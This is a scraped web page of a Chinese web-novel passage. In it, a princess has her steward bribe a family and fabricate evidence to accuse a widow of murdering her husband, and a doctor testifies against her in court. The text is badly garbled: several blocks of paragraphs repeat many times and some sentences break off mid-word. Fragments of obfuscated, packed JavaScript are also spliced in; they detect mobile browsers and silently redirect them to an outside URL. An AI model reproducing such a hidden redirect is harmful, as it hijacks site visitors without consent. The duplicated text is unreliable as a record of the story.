l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210618|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议论。他这一生已经够苦了,我只想他能安息,我安安静静替他守完孝,没想到徐家会再生事端。” 薛嘉言眉头微蹙,目光沉了几分: “徐家就算对你心存不满,看在苗大人的份上,也断不敢贸然闯衙告状。这事来得太过蹊跷,时机掐得这般准,背后若无人撑腰,绝无可能。” 郭晓芸心头猛地一沉。 她想起近来苗菁临行前的反常与凝重,想起他欲言又止的担忧,一股不安如同阴云般悄然笼罩心头。 徐家所告的罪名虽被府尹一一驳回,未曾落实,可这般寡媳与高官同住一院、闹上公堂的事,本就是新鲜的谈资。一时之间,街头巷尾、茶楼酒肆,到处都是窃窃私语,明里暗里,对着两人的关系指指点点,流言如同野草般疯长。 而与此同时,长公主府内,气氛阴沉得如同暴雨将至。 听完管事陶生回禀公堂之上的经过,长公主脸色铁青,猛地一拍桌案,低叱一声: “废物!一群废物!连一个无知的寡妇都对付不了,本宫养你们何用!” 她垂眸,指尖缓缓捻着袖口,沉默片刻,眼底寒光一闪: “去想办法,把府衙存档的那份放妻书,抄一份送来给本宫看。” 入夜,一盏孤灯之下,长公主终于拿到了那份放妻书的抄本。 她只扫了一眼,便瞧出其中破绽,无亲族见证、无中人画押、无官府备案,形制残缺,漏洞百出。 长公主嗤笑一声,又是一句冷骂: “真是一群废物!这般大的破绽摆在眼前,都不知道利用!” 她将纸页往桌上一掷,冷冷道: “你去找徐家人,让他们继续告。” 陶生一怔:“公主,还告……告什么?” “告郭晓芸**亲夫!”长公主声音阴鸷刺骨,“就说那放妻书根本不是徐维自愿所写,是郭晓芸为了攀附苗菁、早日脱身,狠心谋害亲夫之后,强行逼迫、或是伪造出来的!” 第264章 **亲夫 陶生迟疑着躬身:“公主,可……可这并无证据啊。若无凭无据便告**,万一被府尹判个诬告……” 长公主陡然抬眼,唇角勾起一抹狰狞冷笑: “证据?不过是往她身上泼一盆脏水罢了。再说了,没有证据,你们不会给本宫造一点出来吗?” 陶生领会了长公主的意思,退出去办事。 长公主靠回椅背,眼底尽是偏执与狠戾: “本宫倒要看看,等这件事闹得满城风雨、人人皆知,人人都指着郭晓芸的脊梁骨骂她是杀夫**的时候——苗菁,他还敢不敢、还能不能,娶这样一个女人!” 陶生不敢耽搁,当日便寻到了徐家人暂住的客栈。 客栈房间狭**仄,徐正正坐在桌前唉声叹气,詹氏在一旁怨声载道,其余族亲也都面带愁容——想起公堂上的狼狈,想起空手而归的窘境,人人都有些不甘,却又无可奈何。 见陶生进门,徐正连忙起身,脸上堆起几分局促的笑意:“贵人来了。” 陶生将徐正叫到一旁,吩咐他先不要回去,过两日接着告郭晓芸,这次告她**亲夫。 徐正闻言眉头拧成一团,语气里满是犹豫:“大人,这……这不妥吧?上回告她尚且无果,这次告**亲夫,这般大的罪名,咱们连半分真凭实据都没有,万一大人查出来,判咱们一个诬告之罪,那可就全完了!” 陶生脸色一沉,语气带着不容置喙的强势,眼神扫过怯懦的徐正,冷声道:“谁说没有证据?徐大郎一向体弱,可也不至于说走就走,毫无预兆,这里面本就必有猫腻!你好好想想,那封放妻书,既无中人见证,又无宗族签字,字迹还那般虚浮潦草,说不定就是郭氏趁着徐大郎病重无力、神志不清,强行逼迫他写的!” 他顿了顿,又添了一把火:“更何况,郭氏与苗指挥使自幼相识,早有情意,苗大人如今年轻位高、手握重权,郭氏那般一个孤女寡妇,怎会甘心守着一个病人过一辈子?她分明就是看中了苗大人的权势富贵,急着脱身改嫁,才动了谋害徐大郎的心思!” 见徐正脸上的犹豫渐渐消散,眼底多了几分意动与怨毒,下属才放缓语气,掷地有声道:“至于证据,你不必操心,我自会给你们找出来,保准让郭氏百口莫辩,也保准你们不会被定诬告之罪。更何况,邹御史可盯着这案子呢,周停云也不敢胡乱判案——只要你们肯听话,好好上公堂告状,事成之后,我家主子自有重赏。” 徐家人本就对上次无功而返满心惋惜,再加上被陶生一番话说 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210619|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 得动了心,徐正咬了咬牙,沉声道:“好!就听大人的!咱们听贵人的安排,只是,还不知贵人的主子是哪位?” 陶生白了他一眼,嗤笑道:“我们主子的名讳也是你能问的,这么跟你说吧,你只管放心去告,天塌了,有咱们主子顶着。” 陶生说完,又扔了一袋子金子给徐正。 徐正喜不自胜接下来了,他想着这人出手这么大方,气势又盛,说起朝中官员像是说邻家大叔,他的主子必定是手眼通天的主,不必怕那苗大人。 自此,徐家人事事都任凭陶生做主,只等着对方送来“证据”,再一次闯衙兴讼。 不过三五日功夫,顺天府衙的大鼓再次被人重重敲响,声势比上一次还要浩大——徐家人簇拥着徐正,手持状纸,再次站在了公堂之上,这一次,他们状告的罪名,远比上一次严重数倍,直指郭晓芸涉嫌**亲夫徐维。 消息传到苗府时,郭晓芸如遭雷击,眼神里满是震惊与难以置信,泪水瞬间涌上眼眶,“他们怎么敢?徐维是我夫君,他待我那么好,我怎么可能害他?” 震惊过后,郭晓芸很快明白,徐家背后之人又一次发力了。 事不宜迟,郭晓芸强压下心中的慌乱与悲痛,强迫自己冷静下来,连忙吩咐道:“秦忠,你速去元宝胡同找张公公,把这里的事一一告知他,请他帮忙想想办法,务必将背后之人查出来;其余人,随我一同去顺天府衙门应诉,我身正不怕影子斜,绝不会任由他们颠倒黑白、污蔑我夫君,污蔑我!” 再次踏入顺天府公堂,气氛比上一次还要凝重。徐正一见郭晓芸,便像是疯了一般,猛地冲上前,指着她的鼻子,声音尖厉又激愤:“好个毒妇!好个娼妇!我家大郎,是不是你为了和苗菁私通、贪图富贵,狠心谋害的?你这个**的东西,竟敢做出这等伤天害理之事!” 郭晓芸垂眸,将心中的怒火与委屈强行压下,对他的辱骂置若罔闻,神色平静地走到公堂中央,对着高坐堂上的府尹大人,缓缓屈膝行礼:“民妇郭氏,见过大人。” 府尹大人眉头紧蹙,一拍惊堂木,厉声喝道:“徐正!休要辱骂被告,公堂之上,只论案情,如实陈述,再敢胡言乱语,便以咆哮公堂治罪!” 徐正被这一喝吓得一哆嗦,连忙退了回去,却依旧满眼怨毒地瞪着郭晓芸,待心绪稍稍平复,才躬身对着府尹说道:“禀大人,小民不敢胡言,小民所言句句属实!郭氏口口声声说,大郎生前给她写了放妻书,可大人您想想,我儿病重之时,连抬手的力气都没有,怎会有心思写下那封放妻书?那必定是郭氏趁着我儿病重无力、神志不清,强行逼迫他写的,目的就是为了日后能名正言顺地攀附苗大人!” 府尹闻言,神色微动,目光落在案头那份留存的放妻书上。 他心中本就清楚,那封放妻书没有中人见证、没有宗族背书,形制极不规范,的确容易被人诟病,也确实有被逼迫、被伪造的可能。因此,他并未反驳徐正的话,只是沉默着,目光沉沉地看向郭晓芸,等着她的辩解。 第265章 ** 徐正见府尹大人没有作声,心中的大石瞬间落了一半,底气也足了几分,又连忙上前一步,语气愈发笃定:“大人,我儿虽自小体弱,可这些年一直好好调理,虽不算康健,却也绝不会这般年轻就突然离世,这里面定然是郭氏搞的鬼!这几日,小民四处查访,终于找到了当年为我儿诊治的何大夫,何大夫此刻就在堂下,可前来为小民作证! 府尹略点了点头,便有衙役上前带了一名中年男子上殿。 男子自称乃是杏林馆的大夫何首,在徐维生前曾多次给徐维看过病。 府尹问道:“何首,据你所言,徐维的药品里,可有什么不对? 何首拱手道:“禀大人,徐举人生前一直服用的是滋阴止咳的方子,就在他死前的两个月,徐举人忽然跟草民要一剂壮阳的方子…… “壮阳二字一出,满场哗然,一个将死之人,要壮阳方子做什么? 郭晓芸亦是十分震惊,瞪大眼睛看着何首。 徐正见郭晓芸这般震惊,故作痛心道:“大人!大郎本就体弱多病,气血亏空,怎么会想要壮阳呢,定是这**想要害死大郎,故意引诱,迫使大郎去开壮阳的方子!大人试想,大郎那般孱弱身子,怎禁得住这般折腾?她这哪里是治病,分明是故意要弄死大郎,好早日脱身,与情郎双宿**啊! 郭晓芸脸色惨白,一股难以遏制的怒火与**,顺着心底猛地窜起,烧得她忍不住发抖。 徐家人根本不在乎能不能定她的罪,他们要的,是用这种最下作、最无耻的方式坐实她的**名声,让她百口莫辩! 给久病之人服用**,一旦被扣上这帽子,即便她满身是嘴,也难以说清。 “你胡说!郭晓芸气的泪水在眼眶里打转,眼底满是悲愤与鄙夷,“徐正!你休要血口喷人!夫君身子孱弱,我恨不得替他承受所有苦楚,怎会给他吃什么**?这种污秽之言,你也说得出口,你们徐家,真是无耻至极!竟这般诬陷我! 徐正心中愈发得意,转头看向堂下的何大夫,高声道:“何大夫,此事你最清楚,我可没有诬陷! 何大夫神色平静,却言之凿凿,语气笃定:“启禀大人,的确如此。徐举人生前的确亲口要滋补壮阳的药方,草民起初也曾劝阻,言说他身子孱弱,不宜服用此类虎狼之药,可徐举人执意要要,草民无奈,只得按他所求,开具药方、抓取药材。草民医馆之中,进出药物皆有详细记档,每一笔交易、每一张药方,都有据可查,绝不会有错! 说 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 着,他从怀中取出一本泛黄的账本,递到衙役手中,又补充道:“大人可查验草民的医馆记档,上面清清楚楚记着徐举人的购药日期、药方明细,绝无半点虚假。” 徐正见状,悲愤道:“大人!您听到了吗?何大夫所言句句属实,还有医馆记档为证!这毒妇心思何等歹毒,明知大郎身子禁不起折腾,却偏要逼着他服用虎狼药,就是为了谋害大郎的性命,其心可诛啊!” 围观百姓顿时炸开了锅,议论声、唾骂声此起彼伏,看向郭晓芸的眼神,愈发鄙夷与厌恶。 “何大夫是个老实人,不会说谎的。” “原来真是这样,这女人也太骚太狠了!” “逼着体弱的夫君吃**,分明是盼着他死!” “真是**,为了攀附权贵,什么龌龊事都做得出来!” …… 郭晓芸认识大夫何首也有些年头了,因为徐维身子不好,来往颇多,她一直以为何首是个心慈的好大夫,没想到这人竟会与徐正沆瀣一气。 